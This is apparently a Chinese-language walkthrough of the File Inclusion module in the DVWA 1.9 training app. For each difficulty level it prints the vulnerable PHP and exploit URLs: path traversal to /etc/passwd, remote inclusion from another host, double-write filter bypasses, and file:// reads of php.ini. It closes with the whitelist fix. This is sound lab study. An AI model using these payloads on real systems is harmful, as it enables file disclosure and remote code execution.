DVWA V1.9:File Inclusion(檔案包含)
- File Inclusion 介紹
- Low 級别
-
- 核心代碼
- 官方提示
- 漏洞利用
- Medium 級别
-
- 核心代碼
- 官方提示
- 漏洞利用
- High 級别
-
- 核心代碼
- 官方提示
- 漏洞利用
- Impossible 級别
-
- 核心代碼
- 官方提示
File Inclusion 介紹
一些Web應用程式允許使用者指定直接用于檔案流的輸入,或者允許使用者将檔案上載到伺服器。
在稍後的時間,Web應用程式通路Web應用上下文中的使用者提供的輸入。
通過這樣做,Web應用程式允許潛在的惡意檔案執行。
如果所選擇的檔案在目标機上是本地的,則稱為“本地檔案包含(LFI)”。
但是檔案也可以包含在其他機器上,然後攻擊是一個“遠端檔案包含(RFI)”。
當RFI不是一個選項。使用LFI(如檔案上傳和目錄周遊)的另一個漏洞通常可以達到相同的效果。
注意,“檔案包含”一詞與“任意檔案通路”或“檔案洩露”不一樣。
Low 級别
核心代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到,伺服器端對page參數沒有做任何的過濾跟檢查。
伺服器期望使用者的操作是點選下面的三個連結,伺服器會包含相應的檔案,并将結果傳回。
需要特别說明的是,伺服器包含檔案時,不管檔案字尾是否是php,都會嘗試當做php檔案執行,如果檔案内容确為php,則會正常執行并傳回結果,如果不是,則會原封不動地列印檔案内容,是以檔案包含漏洞常常會導緻任意檔案讀取與任意指令執行。
官方提示
這允許直接輸入到許多PHP函數之一這将包括執行時的内容。
取決于Web服務的配置将取決于RFI是可能的。
Spoiler: LFI: ?page=../../../../../../etc/passwd.
Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.
漏洞利用
1.本地檔案包含
構造url
http://43.247.91.228:81/vulnerabilities/fi/?page=../../../../../../etc/passwd
2.遠端檔案包含
當伺服器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀态時,伺服器會允許包含遠端伺服器上的檔案,如果對檔案來源沒有檢查的話,就容易導緻任意遠端代碼執行。
在遠端伺服器192.168.5.12上傳一個phpinfo.txt檔案,内容如下
構造url
http://43.247.91.228:81/vulnerabilities/fi/?page=http://192.168.5.12/phpinfo.txt
Medium 級别
核心代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,Medium級别的代碼增加了str_replace函數,對page參數進行了一定的處理,将”http:// ”、”https://”、 ” …/”、”…\”替換為空字元,即删除。
官方提示
開發人員已經閱讀了LFI/RFI中的一些問題,并決定過濾輸入。然而,使用的模式是不夠的。
Spoiler: LFI: Possible, due to it only cycling through the pattern matching once.
Spoiler: RFI: PHP Streams.
漏洞利用
使用str_replace函數是極其不安全的,因為可以使用雙寫繞過替換規則。
例如page=hthttp://tp://192.168.5.12/phpinfo.txt時,str_replace函數會将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功執行遠端指令。
同時,因為替換的隻是“…/”、“…\”,是以對采用絕對路徑的方式包含檔案是不會受到任何限制的。
1.本地檔案包含
http://43.247.91.228:81/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd
2.遠端檔案包含
http://43.247.91.228:81/vulnerabilities/fi/?page=hthttptp://192.168.5.12/phpinfo.txt
High 級别
核心代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,High級别的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案。
官方提示
開發人員已經受夠了。他們決定隻允許使用某些檔案。然而,由于有多個檔案具有相同的基名,是以它們使用通配符将它們全部包括在内。
Spoiler: LFI: The filename only has start with a certain value..
Spoiler: RFI: Need to link in another vulnerability, such as file upload.
漏洞利用
High級别的代碼規定隻能包含file開頭的檔案,看似安全,不幸的是我們依然可以利用file協定繞過防護政策。
file協定其實我們并不陌生,當我們用浏覽器打開一個本地檔案時,用的就是file協定,如下圖。
http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
成功讀取了伺服器的配置檔案
至于執行任意指令,需要配合檔案上傳漏洞利用。
首先需要上傳一個内容為php的檔案,然後再利用file協定去包含上傳檔案(需要知道上傳檔案的絕對路徑),進而實作任意指令執行。
Impossible 級别
核心代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,Impossible級别的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了檔案包含漏洞。
官方提示
開發人員将其退出并隻對允許的頁進行寫死,并有精确的檔案名。
通過這樣做,它消除了所有攻擊的途徑。
參考連結:
新手指南:DVWA-1.9全級别教程之File Inclusion